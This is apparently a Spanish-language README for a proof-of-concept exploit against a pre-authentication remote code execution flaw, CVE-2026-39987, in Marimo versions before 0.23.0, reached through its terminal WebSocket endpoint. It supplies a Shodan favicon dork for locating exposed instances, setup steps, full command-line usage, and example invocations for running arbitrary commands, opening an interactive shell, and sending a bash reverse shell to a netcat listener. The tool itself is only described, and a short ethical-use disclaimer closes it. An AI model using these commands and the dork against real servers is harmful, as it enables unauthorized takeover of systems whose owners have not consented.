
Herramienta de explotación para CVE-2026-39987 - Marimo < 0.23.0 RCE pre-autenticación (WebSocket)
Exploit de Prueba de Concepto (PoC) para una vulnerabilidad crítica de Ejecución Remota de Código (RCE) Pre-Autenticación en versiones de Marimo anteriores a 0.23.0.
La vulnerabilidad permite a un atacante no autenticado conectarse al endpoint WebSocket (/terminal/ws) y ejecutar comandos arbitrarios del sistema en el servidor objetivo.
/api/version).--no-check para entornos donde los endpoints podrían estar ocultos.Puedes usar el siguiente dork para identificar instancias potencialmente vulnerables:
http.favicon.hash:-1864630356
Se recomienda usar un entorno virtual de Python para instalar las dependencias.
# 1. Clone the repository
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Create and activate a virtual environment
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Upgrade pip and Install required dependencies
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Ejecutar un solo comando:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Generar un shell interactivo:
python CVE-2026-39987.py http://target.com:8080 -i
3. Ejecutar un reverse shell:
Asegúrate de tener un listener de netcat ejecutándose en tu máquina (p. ej., nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Omitir las comprobaciones de verificación y forzar la ejecución:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
¡Las contribuciones son bienvenidas! No dudes en enviar un Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Esta herramienta es estrictamente para fines educativos y hacking ético autorizado. El autor no es responsable de ningún uso indebido, daño o actividad ilegal causada por este script. Asegúrate siempre de tener permiso explícito del propietario del sistema antes de realizar cualquier prueba de seguridad. El uso no autorizado de este script es ilegal y castigado por la ley.
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.